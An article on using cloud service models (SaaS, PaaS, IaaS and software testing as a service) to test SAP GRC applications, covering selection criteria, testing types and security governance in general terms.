Cloud computing — services bought and used on demand via the Internet — can improve a company’s IT services by saving money when testing applications by renting a cloud service for your SAP systems. By using cloud services, you can avoid using office space, hardware, and software that you would otherwise have to. 

Relating specifically to SAP BusinessObjects GRC applications, private clouds are better suited than public clouds to ensure user authentications, encryption, and other security controls are in place to comply with regulations and protect data sensitivity. User controls of private clouds range from no control to complete control over the operating system.

I’ll give background on user controls referenced in the cloud, as well as a testing service example for each cloud service type. Then I’ll discuss the criteria of selecting a cloud service from the perspectives of testing procedures, economies of scale, service governance, and jurisdictional issues. Once the selection is made, you can determine what one or more software testing types you should do. Then consider cloud service governance and risk control to ensure security controls are in place to protect test plans and tools against unauthorized access.

Software as a Service: Functional and Performance Testing

Companies get a single user or group license from a Software as a Service (SaaS) provider to test the application and pay for the service when they need it through a time subscription or a pay-as-you-go model. The provider can either host the application on Web servers or upload it to the customer’s device (e.g., smartphone), and control the operating system, disabling it after the on-demand contract expires.

As a testing service example, the SaaS provider provides software quality assurance tools (for a fee) that allow functional testing from a user’s perspective, say from 15 to 25 applications monthly and performance testing from a developer’s perspective for 1 to 10 applications. Volume rates are provided for each testing type.

Platform as a Service: Workflow and Compatibility Testing

Platform as a Service (PaaS) is a type of virtual private cloud and refers to the full life cycle by which applications can be built, deployed, and run on a cloud platform. It focuses on the entire life cycle of testing the applications and services — that is, all functionalities you need to run application testing. They include spreadsheets to show results, word processors to create test scripts, backups for tests scripts and tests results, and payroll processing to pay the testers.

With PaaS, you can develop applications from creation to testing to deployment on the Internet. Alternatively, you can offload an application from an internal server to PaaS for further development on the application before proceeding to test it for performance, functionality, and usability.

As a testing service example, you can develop, test, update, and execute an application in a virtual machine (VM) to set up a life cycle (e.g., workflow) of tasks the user needs to do to test the applications and services. The tasks may begin with getting contact information from software developers, test script writers, testers, and users, and putting them in the email address book.

Once done, the life cycle automatically goes to the next step of choosing a prepared test script, or a word processor to modify the scripts that you would send to the testers. The testers then run the modified scripts to make sure these are working correctly before applying them to the application. The results should show if the application contains appropriate exception handling, flows logically from one module to another, can perform under low and high load stress, and meets output and usability expectations from both users’ and developers’ perspectives.

When a test script finishes its run, you get an email alert. You then enter test results in a spreadsheet, prepare a report, and send it to the developers, testers, and users to get their approvals. If all or most approve the results, you use the spreadsheet to determine expected times of deploying the application.

Whatever the life cycle you choose for your application, the VMs should be in a compatible format. This enables the user to deploy a VM with one cloud provider (non-SAP), then to another cloud provider (SAP) without changes. If the VM format with one provider is not compatible with another, you run the risk of the high cost of changing test scripts, test cases, applications to be tested to the new VM format, or building new ones from the ground up.

Infrastructure as a Service: Cloud-Bursting and Functional Testing

Infrastructure as a Service (IaaS) allows users to pay per use of the infrastructure of traditional computing resources in a virtual on-demand environment over the Internet. Computer resources include hardware (e.g., servers, data storage, and system and network equipment), as well as operating systems and software.

While IaaS public clouds offer the best economies of scale, they are not well suited for clouding data that is subject to regulatory compliance. A better choice is an IaaS private cloud that is internal to your data center and is more secure, preventing and detecting IaaS breaches with a defense in depth policy (i.e., using firewalls, intrusion detection, and biometric verification).

IaaS is well suited for medium-sized businesses that do not have permanent IT staff to run software. In an IaaS deployment for an enterprise that already has enough permanent IT, the infrastructure can take advantage of cloud bursting with the IaaS when it needs additional resources at the VM level allowing the enterprise to manage its own virtual servers. The IT staff would require many of the same technical skills as they would when managing a physical local server. The IT staffer must be able to interface and navigate the cloud provider’s support system for the use of APIs, so he can navigate the VM servers.

The user can control the operating system, storage, and deployed applications at the VM level. The user can scale the number of virtual servers or blocks of storage area up, down, or out (splitting the database across virtual servers).

As a testing service example, cloud bursting with IaaS allows the organization to shoulder the burden of an application’s processing due to limited resources within the company’s IT infrastructure. The company pays to handle large traffic when needed, then not pay for it when it is not needed. Testing the application functionality is provided from within the cloud while testing the more critical applications is done within the controlled enterprise server. Testing tasks include checking the application for scalability, response times, infinite loops, missing functions, logical flows between modules, inadequate error handing, failover error routines, integration with other applications, and security loopholes. Once the testing is done, the provider disables the IaaS for other testing projects.

Software Testing as a Service: Performance and Load Stress Testing

STaaS allows you to test applications offloaded from an internal server. It allows a company to use testing tools to validate and verify that a software application meets business and technical requirements, and works as expected by developers, testers, and users. 

STaaS is not meant to be 100% test coverage. It is impossible to exhaustively test every combination and path of a suite of large complex applications across the virtual servers. One way to increase testability of an application is to organize the application into modules and provide log files on information about what each module is doing in a complex client/server environment. 

Make sure STaaS offers automated tools and test scripts that can interoperate with one another and have the same recording mechanisms. Consider the requirements of the tool whether the tool is open source or proprietary, whether it is brand new or has been around for a while and how large the user base is.

As a testing service example, STaaS allows organizations to check how well the application can perform under load stress and how well it can scale up to thousands of virtual servers in a VM environment.

If the test results show that the scalability falls below the expected number of servers that could be used to access the application, or the system’s response time begins to fail when the application is stressed under heavy loads (such as complex database queries), the company sends a request to the provider to disable the service and gets the software developers to resolve scalability and load issues using the internal server before offloading it again to the cloud service for another round of tests. 

Cloud Service Selection Criteria

To help you make a selection of a cloud service, consider four criteria: testing procedures, economies of scale, service governance, and jurisdictional issues.

Testing Procedures

You can choose a regular or one-time testing procedure. You use a regular testing procedure that needs to repeat to ensure a non-critical application is working properly or is what the user expects in a cloud service. You use a one-time testing procedure at the time of adopting or during an implementation of a cloud service type, whether it is SaaS, PaaS, IaaS, or STaaS, in a virtual private cloud.

Economies of Scale

The private cloud may have modest economies of scale well suited for small businesses while the public cloud deployment model offers better economies of scale for any business size.

For organizations with revenues greater than $1 billion, private clouds may be more cost effective than public clouds. These large organizations would find that a private internal cloud has many of the same business characteristics as a public cloud, but with much higher levels of governance, control, security, and availability than small service businesses would have.

Service Governance

As part of governance, procedures and policies must be in place to ensure the private clouds will not be attacked by hackers. One incident of caution was the hacking of the US Treasury Department’s Web site. The hackers in Ukraine added a small snippet of virtually undetectable iframe HTML code that redirected visitors to the hacker’s Web site. They then used a commercially available attack kit to launch Web-based attacks. Although the Treasury department fixed the problem, it could have been avoided with encrypted source code.

Service governance should specify encryption of any application to be tested while in a physical internal server before offloading it to a private cloud. You should make a backup copy of the application in an unencrypted format in the internal server that software developers and testers could use to fix the problem before you again encrypt and then offload it to the cloud. The process continues until the developers, testers, and users are satisfied with the results of application testing.

Jurisdictional and Sharing Issues

With a public cloud, data may be stored in unknown locations and may not be easily retrievable. This is in contrast to a private cloud that allows you to retrieve data from known locations in a specific jurisdiction (e.g., the US). Unknown locations are not suitable for storing compliance, privacy, and sensitive test data. They might be in geographical areas where privacy and compliance regulations in one country differ from those in another country. Laws vary from one country to another regarding data export controls.

One drawback of using the community cloud — one used by several organization to share risk and security cost — is that the data and applications are shared by the members of the community and may be stored with those of competitors who are from the same community. You should not store sensitive data and applications along with those of competitors.   

Control of Software Testing

How much you can control software tests depends on three things: what as-a-service option you are using, what guidance about testing SAP applications you would use, and what software testing types you would like to perform. While testing applications, consider the following:

• Long-term and short-term strategies
• What methods are used to check how well software testing is implemented and performing
• What methods are used to manage testing projects
• How training and education is to be provided on software testing

Here is some background on testing types:

• Integration, functionality, and regression: Integration testing verifies whether the combined functionality of modules work after integration. Functionality testing focuses on the output. Regression testing tests the application as a whole for modification in any module or functionality.
• Usability and acceptance: Usability testing checks application flow and system navigation. It also checks how well the user can understand help documentation — online or in print. A user performs acceptance testing to verify if the system meets the customer-specified requirements. 
• Install, recovery, and backup: Install/uninstall testing checks if the application can be installed or uninstalled on different operating systems running on different hardware (in a virtual environment). Recovery testing checks how well an application recovers from crashes and hardware failures while backup testing checks how well the applications can be backed up without incurring a backup failure due to tape age and mishandling.
• Compatibility and comparison: Compatibility testing checks how well the application performs in a particular operating system or network environment while comparison testing compares application strengths and weaknesses with previous versions.
• Security and cloud-bursting: Security testing checks if the application can be penetrated by hackers and how well the system protects against unauthorized access and from external attacks. Cloud bursting tests for load-balancing between private and public clouds interoperate together as a hybrid cloud.

Cloud Service Governance and Risk Control

As part of cloud service governance, your company should appoint a cloud computing security officer. The officer sets the standards for security controls and must ensure security controls are in place to protect test plans, scripts, and tools against unauthorized access, change, or destruction, and mitigate risks after the controls are applied.

Security controls include secure access controls for testers and developers with the appropriate level of authority and clearance, a backup and recovery policy, contingency planning, and risk assessment. Controls also include an SLA that sets minimum service availability criteria a provider must meet while delivering the service. If the provider fails to maintain availability risk at an acceptable level, he must follow remedial actions set forth in the SLA on sanctions for failure to comply.

After security controls have been applied, residual risks remain. Some residual risks may be further mitigated when new security controls emerge or existing controls improve due to technology, policy, or legislation. It is important to consider security controls for poor resource management, unauthorized third-party access, virus, botnets (robotic network of computers), and implementation flaws.

Poor resource management results in unbalanced resource consumption that can offset operational availability of applications, and test tools, scripts, and data. A third party can inject code in the unencrypted application source that redirects testers and developers to the Web site from which the GRC data and applications can be compromised.

SaaS can be affected with a virus that results in a denial of service (DoS). PaaS and IaaS platforms have already been used as command and control centers by hackers to direct operations of a botnet for use in distributed denial of service (DDoS) and installing malware. Security of IaaS models can be threatened with poor credentials, protocol exposure, and implementation flaws in remote management.

To mitigate these risks, ensure that your SAP system has in place a resource management policy, third-party control access policy, and a defense-in-depth strategy against viruses, botnets, and implementation flaws.